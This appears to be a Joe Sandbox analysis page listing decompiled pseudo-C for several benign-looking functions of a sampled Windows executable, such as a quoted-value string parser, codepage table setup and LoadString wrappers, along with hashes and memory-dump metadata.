Opcode Fuzzy Hash: a2a1fe83cc9e0c6555ab30a5ba5d34d7e9637e7b1c96707fcad98147a719e390
Instruction Fuzzy Hash: AF010830140B00AFD7219B21DD5AB66BBA1BF04721F008B2DE9A7959E0CB76B951CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0040D7CC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D7CC(void* __ecx) {
				signed int _t118;
				signed int _t129;
				signed int* _t130;
				signed int _t150;
				signed int _t151;
				signed int _t160;
				intOrPtr _t162;
				signed int* _t180;
				signed int _t181;
				signed int _t190;
				signed int _t191;
				signed int _t192;
				signed int _t195;
				signed int _t196;
				intOrPtr _t198;
				void* _t200;
				signed int* _t202;
				void* _t203;

				E00413954(E0041A61C, _t203);
				_t200 = __ecx;
				if( *((intOrPtr*)(__ecx + 8)) > 0x20 ||  *((intOrPtr*)(__ecx + 0x1c)) > 0x20) {
					L31:
					_t118 = 0;
				} else {
					E004032A8(_t203 - 0x28, 1);
					 *((intOrPtr*)(_t203 - 0x28)) = 0x41b748;
					_t150 = 0;
					 *(_t203 - 4) = 0;
					E0040D9F9(_t203 - 0x28,  *((intOrPtr*)(__ecx + 0x30)) +  *((intOrPtr*)(__ecx + 0x1c)));
					_t190 = 0;
					if( *((intOrPtr*)(_t200 + 0x1c)) <= 0) {
						L5:
						_t191 = 0;
						if( *((intOrPtr*)(_t200 + 0x30)) <= _t150) {
							L8:
							E0040D9F9(_t203 - 0x28,  *((intOrPtr*)(_t200 + 0x44)));
							_t192 = 0;
							if( *((intOrPtr*)(_t200 + 0x1c)) <= _t150) {
								L11:
								 *(_t203 - 4) =  *(_t203 - 4) | 0xffffffff;
								E004042AD(_t203 - 0x28);
								_t160 = 0x20;
								memset(_t203 - 0xd0, 0, _t160 << 2);
								_t162 = 4;
								 *(_t203 - 0x38) = _t150;
								 *(_t203 - 0x34) = _t150;
								 *(_t203 - 0x30) = _t150;
								 *((intOrPtr*)(_t203 - 0x2c)) = 0;
								 *((intOrPtr*)(_t203 - 0x3c)) = 0x41b378;
								 *(_t203 - 4) = 1;
								 *(_t203 - 0x4c) = _t150;
								 *(_t203 - 0x48) = _t150;
								 *(_t203 - 0x44) = _t150;
								 *((intOrPtr*)(_t203 - 0x40)) = _t162;
								 *((intOrPtr*)(_t203 - 0x50)) = 0x41b378;
								 *(_t203 - 4) = 2;
								 *(_t203 - 0x10) = _t150;
								if( *((intOrPtr*)(_t200 + 8)) > _t150) {
									do {
										 *(_t203 - 0x14) = _t150;
										_t198 =  *((intOrPtr*)( *((intOrPtr*)(_t200 + 0xc)) +  *(_t203 - 0x10) * 4));
										if( *((intOrPtr*)(_t198 + 0x14)) > _t150) {
											do {
												E004039DF(_t203 - 0x3c,  *(_t203 - 0x10));
												 *(_t203 - 0x14) =  *(_t203 - 0x14) + 1;
											} while ( *(_t203 - 0x14) <  *((intOrPtr*)(_t198 + 0x14)));
										}
										 *(_t203 - 0x14) = _t150;
										if( *((intOrPtr*)(_t198 + 0x18)) > _t150) {
											do {
												E004039DF(_t203 - 0x50,  *(_t203 - 0x10));
												 *(_t203 - 0x14) =  *(_t203 - 0x14) + 1;
											} while ( *(_t203 - 0x14) <  *((intOrPtr*)(_t198 + 0x18)));
										}
										 *(_t203 - 0x10) =  *(_t203 - 0x10) + 1;
									} while ( *(_t203 - 0x10) <  *((intOrPtr*)(_t200 + 8)));
								}
								_t195 = 0;
								if( *((intOrPtr*)(_t200 + 0x1c)) > _t150) {
									do {
										_t151 = 1;
										 *(_t203 +  *( *(_t203 - 0x30) +  *( *((intOrPtr*)(_t200 + 0x20)) + _t195 * 8) * 4) * 4 - 0xd0) =  *(_t203 +  *( *(_t203 - 0x30) +  *( *((intOrPtr*)(_t200 + 0x20)) + _t195 * 8) * 4) * 4 - 0xd0) | _t151 <<  *( *(_t203 - 0x44) + ( *((intOrPtr*)(_t200 + 0x20)) + _t195 * 8)[1] * 4);
										_t195 = _t195 + 1;
									} while (_t195 <  *((intOrPtr*)(_t200 + 0x1c)));
									_t150 = 0;
								}
								 *(_t203 - 4) = 1;
								E004042AD(_t203 - 0x50);
								 *(_t203 - 4) =  *(_t203 - 4) | 0xffffffff;
								E004042AD(_t203 - 0x3c);
								_t180 = _t203 - 0xd0;
								 *(_t203 - 0x14) = 0x20;
								do {
									 *(_t203 - 0x10) = _t150;
									_t202 = _t203 - 0xd0;
									do {
										_t129 =  *_t180;
										_t196 = 1;
										if((_t129 & _t196 <<  *(_t203 - 0x10)) != 0) {
											 *_t180 = _t129 |  *_t202;
										}
										 *(_t203 - 0x10) =  *(_t203 - 0x10) + 1;
										_t202 =  &(_t202[1]);
									} while ( *(_t203 - 0x10) < 0x20);
									_t180 =  &(_t180[1]);
									_t106 = _t203 - 0x14;
									 *_t106 =  *(_t203 - 0x14) - 1;
								} while ( *_t106 != 0);
								_t130 = _t203 - 0xd0;
								while(1) {
									_t181 = 1;
									if(( *_t130 & _t181 << _t150) != 0) {
										goto L31;
									}
									_t150 = _t150 + 1;
									_t130 =  &(_t130[1]);
									if(_t150 < 0x20) {
										continue;
									} else {
										_t118 = 1;
									}
									goto L32;
								}
								goto L31;
							} else {
								while(E0040DA1F(_t203 - 0x28,  *((intOrPtr*)( *((intOrPtr*)(_t200 + 0x20)) + 4 + _t192 * 8))) == 0) {
									_t192 = _t192 + 1;
									if(_t192 <  *((intOrPtr*)(_t200 + 0x1c))) {
										continue;
									} else {
										goto L11;
									}
									goto L32;
								}
								goto L30;
							}
						} else {
							while(E0040DA1F(_t203 - 0x28,  *((intOrPtr*)( *((intOrPtr*)(_t200 + 0x34)) + _t191 * 4))) == 0) {
								_t191 = _t191 + 1;
								if(_t191 <  *((intOrPtr*)(_t200 + 0x30))) {
									continue;
								} else {
									goto L8;
								}
								goto L32;
							}
							goto L30;
						}
					} else {
						while(E0040DA1F(_t203 - 0x28,  *((intOrPtr*)( *((intOrPtr*)(_t200 + 0x20)) + _t190 * 8))) == 0) {
							_t190 = _t190 + 1;
							if(_t190 <  *((intOrPtr*)(_t200 + 0x1c))) {
								continue;
							} else {
								goto L5;
							}
							goto L32;
						}
						L30:
						 *(_t203 - 4) =  *(_t203 - 4) | 0xffffffff;
						E004042AD(_t203 - 0x28);
						goto L31;
					}
				}
				L32:
				 *[fs:0x0] =  *((intOrPtr*)(_t203 - 0xc));
				return _t118;
			}

0x0040d7d1
0x0040d7de
0x0040d7e7
0x0040d9e8
0x0040d9e8
0x0040d7f7
0x0040d7fc
0x0040d801
0x0040d80e
0x0040d816
0x0040d819
0x0040d81e
0x0040d823
0x0040d841
0x0040d841
0x0040d846
0x0040d864
0x0040d86a
0x0040d86f
0x0040d874
0x0040d893
0x0040d893
0x0040d89a
0x0040d8a3
0x0040d8aa
0x0040d8b3
0x0040d8b4
0x0040d8b7
0x0040d8ba
0x0040d8bd
0x0040d8c0
0x0040d8c3
0x0040d8ca
0x0040d8cd
0x0040d8d0
0x0040d8d3
0x0040d8d6
0x0040d8dc
0x0040d8e0
0x0040d8e3
0x0040d8e5
0x0040d8eb
0x0040d8ee
0x0040d8f4
0x0040d8f6
0x0040d8fc
0x0040d901
0x0040d907
0x0040d8f6
0x0040d90f
0x0040d912
0x0040d914
0x0040d91a
0x0040d91f
0x0040d925
0x0040d914
0x0040d92a
0x0040d930
0x0040d8e5
0x0040d935
0x0040d93a
0x0040d93c
0x0040d94a
0x0040d960
0x0040d962
0x0040d963
0x0040d968
0x0040d968
0x0040d96d
0x0040d971
0x0040d976
0x0040d97d
0x0040d982
0x0040d988
0x0040d98f
0x0040d98f
0x0040d992
0x0040d998
0x0040d99b
0x0040d99f
0x0040d9a4
0x0040d9a8
0x0040d9a8
0x0040d9aa
0x0040d9ad
0x0040d9b0
0x0040d9b6
0x0040d9b9
0x0040d9b9
0x0040d9b9
0x0040d9be
0x0040d9c4
0x0040d9c8
0x0040d9cd
0x00000000
0x00000000
0x0040d9cf
0x0040d9d0
0x0040d9d6
0x00000000
0x0040d9d8
0x0040d9d8
0x0040d9d8
0x00000000
0x0040d9d6
0x00000000
0x0040d876
0x0040d876
0x0040d88d
0x0040d891
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040d891
0x00000000
0x0040d876
0x0040d848
0x0040d848
0x0040d85e
0x0040d862
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040d862
0x00000000
0x0040d848
0x0040d825
0x0040d825
0x0040d83b
0x0040d83f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040d83f
0x0040d9dc
0x0040d9dc
0x0040d9e3
0x00000000
0x0040d9e3
0x0040d823
0x0040d9ea
0x0040d9f0
0x0040d9f8

APIs

__EH_prolog.LIBCMT ref: 0040D7D1

Strings

, xrefs: 0040D988
, xrefs: 0040D9B0

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID: $
API String ID: 3519838083-227171996
Opcode ID: f310208c7012b047481696f3de0866f141f831578990e3312a3a639e5dd044ff
Instruction ID: b608afa5533618173c50a936dd0dc92eebd328cd23ff399218f1dfb4b0bc6294
Opcode Fuzzy Hash: f310208c7012b047481696f3de0866f141f831578990e3312a3a639e5dd044ff
Instruction Fuzzy Hash: 6A713571E0020A9FCB24DF99D481AAEB7B1FF48314F10457ED416B7691D734AA8ACF54

Uniqueness

Uniqueness Score: -1.00%

Function 00403D5A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 152
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00403D5A(intOrPtr* __ecx, intOrPtr __edx) {
				void* __edi;
				void* _t69;
				signed int _t70;
				intOrPtr _t79;
				intOrPtr _t90;
				signed int _t91;
				char _t98;
				char _t116;
				intOrPtr* _t136;
				void* _t138;

				E00413954(E004194DC, _t138);
				_t136 = __ecx;
				 *((intOrPtr*)(_t138 - 0x20)) = __edx;
				E004042D6();
				 *((intOrPtr*)(_t138 - 0x10)) = 0;
				while(1) {
					L1:
					_t69 = E00403FE2(_t136, _t138 - 0x10);
					_t146 = _t69;
					if(_t69 == 0) {
						break;
					}
					E00402EE1(_t138 - 0x50);
					 *(_t138 - 4) = 0;
					E00402EE1(_t138 - 0x44);
					_t7 = _t138 - 0x14; // 0x414be4
					 *(_t138 - 4) = 1;
					E00403F3C(_t138 - 0x38,  *_t136 +  *((intOrPtr*)(_t138 - 0x10)));
					 *(_t138 - 4) = 2;
					if(E0040411F(_t138 - 0x38, _t138 - 0x50, _t146) == 0) {
						L26:
						E00403A9C( *((intOrPtr*)(_t138 - 0x38)));
						E00403A9C( *((intOrPtr*)(_t138 - 0x44)));
						E00403A9C( *((intOrPtr*)(_t138 - 0x50)));
						L28:
						_t70 = 0;
						__eflags = 0;
						L29:
						 *[fs:0x0] =  *((intOrPtr*)(_t138 - 0xc));
						return _t70;
					}
					_t15 = _t138 - 0x14; // 0x414be4
					_t79 =  *_t15;
					if(_t79 == 0) {
						goto L26;
					}
					 *((intOrPtr*)(_t138 - 0x10)) =  *((intOrPtr*)(_t138 - 0x10)) + _t79;
					if(E00403FE2(_t136, _t138 - 0x10) == 0 ||  *((char*)( *_t136 +  *((intOrPtr*)(_t138 - 0x10)))) != 0x3d) {
						goto L26;
					} else {
						 *((intOrPtr*)(_t138 - 0x10)) =  *((intOrPtr*)(_t138 - 0x10)) + 1;
						if(E00403FE2(_t136, _t138 - 0x10) == 0 ||  *((char*)( *_t136 +  *((intOrPtr*)(_t138 - 0x10)))) != 0x22) {
							goto L26;
						} else {
							 *((intOrPtr*)(_t138 - 0x10)) =  *((intOrPtr*)(_t138 - 0x10)) + 1;
							 *((intOrPtr*)(_t138 - 0x2c)) = 0;
							 *((intOrPtr*)(_t138 - 0x28)) = 0;
							 *((intOrPtr*)(_t138 - 0x24)) = 0;
							E0040243E(_t138 - 0x2c, 3);
							 *(_t138 - 4) = 3;
							while( *((intOrPtr*)(_t138 - 0x10)) <  *((intOrPtr*)(_t136 + 4))) {
								_t90 =  *_t136;
								_t116 =  *((intOrPtr*)(_t90 +  *((intOrPtr*)(_t138 - 0x10))));
								 *((intOrPtr*)(_t138 - 0x10)) =  *((intOrPtr*)(_t138 - 0x10)) + 1;
								 *((char*)(_t138 - 0x1c)) = _t116;
								if(_t116 == 0x22) {
									_t91 = E0040411F(_t138 - 0x2c, _t138 - 0x44, __eflags);
									__eflags = _t91;
									if(_t91 == 0) {
										break;
									}
									_push(_t138 - 0x50);
									E004040BE( *((intOrPtr*)(_t138 - 0x20)), 0);
									E00403A9C( *((intOrPtr*)(_t138 - 0x2c)));
									E00403A9C( *((intOrPtr*)(_t138 - 0x38)));
									 *(_t138 - 4) =  *(_t138 - 4) | 0xffffffff;
									E0040213F(_t138 - 0x50);
									goto L1;
								}
								if(_t116 != 0x5c) {
									_push( *((intOrPtr*)(_t138 - 0x1c)));
								} else {
									_t98 =  *((intOrPtr*)(_t90 +  *((intOrPtr*)(_t138 - 0x10))));
									 *((intOrPtr*)(_t138 - 0x10)) =  *((intOrPtr*)(_t138 - 0x10)) + 1;
									 *((char*)(_t138 - 0x18)) = _t98;
									if(_t98 == 0x22) {
										_push(0x22);
									} else {
										if(_t98 == 0x5c) {
											_push(0x5c);
										} else {
											if(_t98 == 0x6e) {
												_push(0xa);
											} else {
												if(_t98 == 0x74) {
													_push(9);
												} else {
													E00401EE5(_t138 - 0x2c, 0x5c);
													_push( *((intOrPtr*)(_t138 - 0x18)));
												}
											}
										}
									}
								}
								E00401EE5(_t138 - 0x2c);
							}
							E00403A9C( *((intOrPtr*)(_t138 - 0x2c)));
							E00403A9C( *((intOrPtr*)(_t138 - 0x38)));
							E00403A9C( *((intOrPtr*)(_t138 - 0x44)));
							E00403A9C( *((intOrPtr*)(_t138 - 0x50)));
							goto L28;
						}
					}
				}
				_t70 = 1;
				goto L29;
			}

0x00403d5f
0x00403d68
0x00403d6d
0x00403d70
0x00403d77
0x00403d7a
0x00403d7a
0x00403d7f
0x00403d84
0x00403d86
0x00000000
0x00000000
0x00403d8f
0x00403d97
0x00403d9a
0x00403da1
0x00403da8
0x00403db5
0x00403dc0
0x00403dcb
0x00403eec
0x00403eef
0x00403ef7
0x00403eff
0x00403f2c
0x00403f2c
0x00403f2c
0x00403f2e
0x00403f33
0x00403f3b
0x00403f3b
0x00403dd1
0x00403dd1
0x00403dd6
0x00000000
0x00000000
0x00403ddc
0x00403deb
0x00000000
0x00403e00
0x00403e00
0x00403e0f
0x00000000
0x00403e24
0x00403e24
0x00403e2c
0x00403e2f
0x00403e32
0x00403e35
0x00403e3a
0x00403e3e
0x00403e4a
0x00403e4f
0x00403e52
0x00403e58
0x00403e5b
0x00403eb0
0x00403eb5
0x00403eb7
0x00000000
0x00000000
0x00403ebf
0x00403ec0
0x00403ec8
0x00403ed0
0x00403ed5
0x00403ede
0x00000000
0x00403ede
0x00403e60
0x00403ea5
0x00403e62
0x00403e65
0x00403e68
0x00403e6d
0x00403e70
0x00403e99
0x00403e72
0x00403e74
0x00403e95
0x00403e76
0x00403e78
0x00403e91
0x00403e7a
0x00403e7c
0x00403e8d
0x00403e7e
0x00403e83
0x00403e88
0x00403e88
0x00403e7c
0x00403e78
0x00403e74
0x00403e70
0x00403e9e
0x00403e9e
0x00403f0c
0x00403f14
0x00403f1c
0x00403f24
0x00000000
0x00403f29
0x00403e0f
0x00403deb
0x00403ee8
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00403D5F

Part of subcall function 00403F3C: __EH_prolog.LIBCMT ref: 00403F41

Strings

KA, xrefs: 00403DA1, 00403DD1, 00403DA4
> @, xrefs: 00403D6A

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID: > @$KA
API String ID: 3519838083-301980584
Opcode ID: f9624756dcd051103a0faf5414ab264e1043146aad46313972ce47ae36e47b30
Instruction ID: 0797aa4f2666763f951e0621ef07ec53320c6840b80f95fc9e8c0876c74f2843
Opcode Fuzzy Hash: f9624756dcd051103a0faf5414ab264e1043146aad46313972ce47ae36e47b30
Instruction Fuzzy Hash: 27517D30D0020A9ACF15EF95C855AEEBF7AAF5430AF10452FE452372D2DB795B06CB89

Uniqueness

Uniqueness Score: -1.00%

Function 0041808D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0041808D(void* __ebx, void* __edi) {
				char _v17;
				signed char _v18;
				struct _cpinfo _v24;
				char _v280;
				char _v536;
				char _v792;
				char _v1304;
				void* _t43;
				char _t44;
				signed char _t45;
				void* _t55;
				signed int _t56;
				signed char _t64;
				intOrPtr* _t66;
				signed int _t68;
				signed int _t70;
				signed int _t71;
				signed char _t76;
				signed char _t77;
				signed char* _t78;
				void* _t81;
				void* _t87;
				void* _t88;

				if(GetCPInfo( *0x4256c8,  &_v24) == 1) {
					_t44 = 0;
					do {
						 *((char*)(_t87 + _t44 - 0x114)) = _t44;
						_t44 = _t44 + 1;
					} while (_t44 < 0x100);
					_t45 = _v18;
					_v280 = 0x20;
					if(_t45 == 0) {
						L9:
						E00418A6C(1,  &_v280, 0x100,  &_v1304,  *0x4256c8,  *0x4258e4, 0);
						E0041881D( *0x4258e4, 0x100,  &_v280, 0x100,  &_v536, 0x100,  *0x4256c8, 0);
						E0041881D( *0x4258e4, 0x200,  &_v280, 0x100,  &_v792, 0x100,  *0x4256c8, 0);
						_t55 = 0;
						_t66 =  &_v1304;
						do {
							_t76 =  *_t66;
							if((_t76 & 0x00000001) == 0) {
								if((_t76 & 0x00000002) == 0) {
									 *(_t55 + 0x4256e0) =  *(_t55 + 0x4256e0) & 0x00000000;
									goto L16;
								}
								 *(_t55 + 0x4257e1) =  *(_t55 + 0x4257e1) | 0x00000020;
								_t77 =  *((intOrPtr*)(_t87 + _t55 - 0x314));
								L12:
								 *(_t55 + 0x4256e0) = _t77;
								goto L16;
							}
							 *(_t55 + 0x4257e1) =  *(_t55 + 0x4257e1) | 0x00000010;
							_t77 =  *((intOrPtr*)(_t87 + _t55 - 0x214));
							goto L12;
							L16:
							_t55 = _t55 + 1;
							_t66 = _t66 + 2;
						} while (_t55 < 0x100);
						return _t55;
					}
					_t78 =  &_v17;
					do {
						_t68 =  *_t78 & 0x000000ff;
						_t56 = _t45 & 0x000000ff;
						if(_t56 <= _t68) {
							_t81 = _t87 + _t56 - 0x114;
							_t70 = _t68 - _t56 + 1;
							_t71 = _t70 >> 2;
							memset(_t81 + _t71, memset(_t81, 0x20202020, _t71 << 2), (_t70 & 0x00000003) << 0);
							_t88 = _t88 + 0x18;
						}
						_t78 =  &(_t78[2]);
						_t45 =  *((intOrPtr*)(_t78 - 1));
					} while (_t45 != 0);
					goto L9;
				}
				_t43 = 0;
				do {
					if(_t43 < 0x41 || _t43 > 0x5a) {
						if(_t43 < 0x61 || _t43 > 0x7a) {
							 *(_t43 + 0x4256e0) =  *(_t43 + 0x4256e0) & 0x00000000;
						} else {
							 *(_t43 + 0x4257e1) =  *(_t43 + 0x4257e1) | 0x00000020;
							_t64 = _t43 - 0x20;
							goto L22;
						}
					} else {
						 *(_t43 + 0x4257e1) =  *(_t43 + 0x4257e1) | 0x00000010;
						_t64 = _t43 + 0x20;
						L22:
						 *(_t43 + 0x4256e0) = _t64;
					}
					_t43 = _t43 + 1;
				} while (_t43 < 0x100);
				return _t43;
			}

0x004180aa
0x004180b0
0x004180b7
0x004180b7
0x004180be
0x004180bf
0x004180c3
0x004180c6
0x004180cf
0x00418108
0x00418127
0x0041814b
0x00418173
0x0041817b
0x0041817d
0x00418183
0x00418183
0x00418189
0x004181a4
0x004181b6
0x00000000
0x004181b6
0x004181a6
0x004181ad
0x00418199
0x00418199
0x00000000
0x00418199
0x0041818b
0x00418192
0x00000000
0x004181bd
0x004181bd
0x004181bf
0x004181c0
0x00000000
0x00418183
0x004180d3
0x004180d6
0x004180d6
0x004180d9
0x004180de
0x004180e2
0x004180e9
0x004180f1
0x004180fb
0x004180fb
0x004180fb
0x004180fe
0x004180ff
0x00418102
0x00000000
0x00418107
0x004181c6
0x004181cd
0x004181d0
0x004181ee
0x00418203
0x004181f5
0x004181f5
0x004181fe
0x00000000
0x004181fe
0x004181d7
0x004181d7
0x004181e0
0x004181e3
0x004181e3
0x004181e3
0x0041820a
0x0041820b
0x00418211

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 004180A1

Strings

, xrefs: 004180EA
, xrefs: 004180C6

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: 8b363f32da595bfb59a3e5cf7fceda2159d83bff833a4ab1ae99a185f1cff2df
Instruction ID: d0f9309d8466ab513fef0fe96190925d4c3a9a36aebfd3e00fd14af349a29a6b
Opcode Fuzzy Hash: 8b363f32da595bfb59a3e5cf7fceda2159d83bff833a4ab1ae99a185f1cff2df
Instruction Fuzzy Hash: 18417C322046586EEB22DB14CC4DFFB7FA8DB06700F9400EAD549C7162CA794985CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00405F5E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00405F5E(intOrPtr __ecx, struct HINSTANCE__* __edx, void* __esi) {
				signed int _t38;
				WCHAR* _t54;
				WCHAR* _t58;
				int _t61;
				void* _t63;
				intOrPtr _t68;

				E00413954(E00419764, _t63);
				_t68 =  *0x423148; // 0x1
				 *(_t63 - 0x14) = __edx;
				 *((intOrPtr*)(_t63 - 0x10)) = __ecx;
				 *((intOrPtr*)(_t63 - 0x18)) = 0;
				if(_t68 == 0) {
					_push( *(_t63 + 8));
					E00405EBC(_t63 - 0x30, __edx);
					 *((intOrPtr*)(_t63 - 4)) = 1;
					E00401A03();
					_push( *((intOrPtr*)(_t63 - 0x30)));
				} else {
					 *(_t63 - 0x24) = 0;
					 *(_t63 - 0x20) = 0;
					 *((intOrPtr*)(_t63 - 0x1c)) = 0;
					E00402170(_t63 - 0x24, 3);
					 *((intOrPtr*)(_t63 - 4)) = 0;
					_t61 = 0x100;
					do {
						_t61 = _t61 + 0x100;
						_t9 = _t61 - 1; // -1
						_t36 = _t9;
						if(_t9 >=  *((intOrPtr*)(_t63 - 0x1c))) {
							E00402170(_t63 - 0x24, _t36);
						}
						_t14 = _t63 - 0x14; // 0x414be4
					} while (_t61 - LoadStringW( *_t14,  *(_t63 + 8),  *(_t63 - 0x24), _t61) <= 1);
					_t54 =  *(_t63 - 0x24);
					_t38 = 0;
					if( *_t54 != 0) {
						_t58 = _t54;
						do {
							_t38 = _t38 + 1;
							_t58 =  &(_t58[1]);
						} while ( *_t58 != 0);
					}
					_t54[_t38] = 0;
					 *(_t63 - 0x20) = _t38;
					E00401CE1( *((intOrPtr*)(_t63 - 0x10)), _t63 - 0x24);
					_push( *(_t63 - 0x24));
				}
				E00403A9C();
				 *[fs:0x0] =  *((intOrPtr*)(_t63 - 0xc));
				return  *((intOrPtr*)(_t63 - 0x10));
			}

0x00405f63
0x00405f6e
0x00405f74
0x00405f77
0x00405f7a
0x00405f7d
0x00405ff8
0x00405ffe
0x00406008
0x0040600f
0x00406014
0x00405f7f
0x00405f85
0x00405f88
0x00405f8b
0x00405f8e
0x00405f93
0x00405f96
0x00405f9b
0x00405f9b
0x00405fa1
0x00405fa1
0x00405fa7
0x00405fad
0x00405fad
0x00405fb9
0x00405fc6
0x00405fcb
0x00405fce
0x00405fd4
0x00405fd6
0x00405fd8
0x00405fd8
0x00405fda
0x00405fdb
0x00405fd8
0x00405fe0
0x00405fe7
0x00405fee
0x00405ff3
0x00405ff3
0x00406017
0x00406024
0x0040602c

APIs

__EH_prolog.LIBCMT ref: 00405F63
LoadStringW.USER32(KA,?,?,00000000), ref: 00405FBC

Strings

KA, xrefs: 00405FB9

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prologLoadString
String ID: KA
API String ID: 385046869-4133974868
Opcode ID: e6db0625694eca8672df4367e77b25990e3c0bbb9f4bdb8bdb41469bebcffd79
Instruction ID: f8b33de4bb70f64bdff40eb498b0250b344fd9cf2a6d880d3b442eae3703c9f6
Opcode Fuzzy Hash: e6db0625694eca8672df4367e77b25990e3c0bbb9f4bdb8bdb41469bebcffd79
Instruction Fuzzy Hash: B8212771D0011A9BCB05EFA1C9919EEBBB5FF08308F10407AE106B6291DB794E40CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00405EBC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405EBC(intOrPtr __ecx, struct HINSTANCE__* __edx) {
				intOrPtr _t29;
				CHAR* _t43;
				int _t49;
				void* _t51;

				E00413954(E00419748, _t51);
				 *((intOrPtr*)(_t51 - 0x10)) = __ecx;
				 *(_t51 - 0x14) = __edx;
				 *((intOrPtr*)(_t51 - 0x18)) = 0;
				 *(_t51 - 0x24) = 0;
				 *((intOrPtr*)(_t51 - 0x20)) = 0;
				 *((intOrPtr*)(_t51 - 0x1c)) = 0;
				E0040243E(_t51 - 0x24, 3);
				 *((intOrPtr*)(_t51 - 4)) = 0;
				_t49 = 0x100;
				do {
					_t49 = _t49 + 0x100;
					_t9 = _t49 - 1; // -1
					_t27 = _t9;
					if(_t9 >=  *((intOrPtr*)(_t51 - 0x1c))) {
						E0040243E(_t51 - 0x24, _t27);
					}
					_t14 = _t51 - 0x14; // 0x414be4
				} while (_t49 - LoadStringA( *_t14,  *(_t51 + 8),  *(_t51 - 0x24), _t49) <= 1);
				_t43 =  *(_t51 - 0x24);
				_t29 = 0;
				if( *_t43 != 0) {
					do {
						_t29 = _t29 + 1;
					} while ( *((intOrPtr*)(_t29 + _t43)) != 0);
				}
				 *((char*)(_t29 + _t43)) = 0;
				 *((intOrPtr*)(_t51 - 0x20)) = _t29;
				E00403D24( *((intOrPtr*)(_t51 - 0x10)), _t51 - 0x24);
				E00403A9C( *(_t51 - 0x24));
				 *[fs:0x0] =  *((intOrPtr*)(_t51 - 0xc));
				return  *((intOrPtr*)(_t51 - 0x10));
			}

0x00405ec1
0x00405eca
0x00405ed0
0x00405ed8
0x00405edb
0x00405ede
0x00405ee1
0x00405ee4
0x00405ee9
0x00405eec
0x00405ef1
0x00405ef1
0x00405ef7
0x00405ef7
0x00405efd
0x00405f03
0x00405f03
0x00405f0f
0x00405f1c
0x00405f21
0x00405f24
0x00405f28
0x00405f2a
0x00405f2a
0x00405f2b
0x00405f2a
0x00405f30
0x00405f36
0x00405f3d
0x00405f45
0x00405f53
0x00405f5b

APIs

__EH_prolog.LIBCMT ref: 00405EC1
LoadStringA.USER32 ref: 00405F12

